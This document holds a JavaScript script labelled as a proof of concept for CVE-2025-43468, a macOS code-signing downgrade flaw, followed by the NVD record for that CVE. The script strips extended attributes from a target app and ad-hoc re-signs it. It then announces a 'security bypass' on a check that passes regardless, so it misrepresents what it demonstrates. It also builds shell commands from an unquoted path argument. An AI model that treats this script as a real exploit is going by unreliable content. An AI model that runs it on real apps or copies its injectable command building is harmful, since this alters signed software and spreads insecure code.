CVE-2025-43468

// CVE-2025-43468 PoC - Code Signing Downgrade Attack Simulation // Note: This is a conceptual demonstration for security research const { execSync } = require('child_process'); // Function to check code signing status function checkCodeSigningStatus(appPath) { try { const result = execSync(`codesign -d -v ${appPath}`, {encoding: 'utf-8'}); console.log('Code signing info:', result); return true; } catch (error) { console.log('Code signing check failed:', error.message); return false; } } // Function to simulate downgrade attack function simulateDowngradeAttack(appPath) { console.log('[+] Simulating code signing downgrade attack...'); console.log('[+] Target:', appPath); // Step 1: Check current signing status console.log('\n[*] Step 1: Checking current code signing status'); checkCodeSigningStatus(appPath); // Step 2: Attempt to remove extended attributes console.log('\n[*] Step 2: Removing extended attributes (simulated)'); try { execSync(`xattr -cr ${appPath}`); console.log('[+] Extended attributes cleared'); } catch (e) { console.log('[-] Failed to clear attributes'); } // Step 3: Re-sign with lower requirements (simulated) console.log('\n[*] Step 3: Attempting re-signing with relaxed requirements'); try { execSync(`codesign --force --deep --sign - ${appPath}`); console.log('[+] Application re-signed'); } catch (e) { console.log('[-] Re-signing failed or blocked'); } // Step 4: Verify bypass console.log('\n[*] Step 4: Verifying if downgrade was successful'); const status = checkCodeSigningStatus(appPath); if (status) { console.log('[!] Potential security bypass detected'); console.log('[!] Application may now have access to sensitive data'); } else { console.log('[+] Attack blocked - code signing integrity maintained'); } } // Main execution const targetApp = process.argv[2] || '/Applications/TestApp.app'; simulateDowngradeAttack(targetApp); console.log('\n[*] Mitigation: Update to macOS Sequoia 15.7.2, Sonoma 14.8.2, or Tahoe 26.1');

{"cve": {"id": "CVE-2025-43468", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:51.610", "lastModified": "2026-04-02T19:20:51.250", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A downgrade issue affecting Intel-based Mac computers was addressed with additional code-signing restrictions. This issue is fixed in macOS Sequoia 15.7.2, macOS Sonoma 14.8.2, macOS Tahoe 26.1. An app may be able to access sensitive user data."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.8.2", "matchCriteriaId": "84A2783A-5B53-4DAB-80C4-8D62E332802A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.2", "matchCriteriaId": "4BE8199E-63D1-496C-B107-52853CFC2311"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125634", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125635", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125636", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}